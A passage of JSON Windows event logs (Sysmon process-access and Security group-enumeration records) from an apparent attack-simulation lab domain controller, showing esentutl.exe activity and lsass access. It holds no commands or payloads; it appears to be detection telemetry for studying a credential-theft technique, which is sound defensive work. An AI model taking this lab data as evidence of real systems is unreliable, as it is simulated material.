11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222133,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222134,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222135,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222136,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222137,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4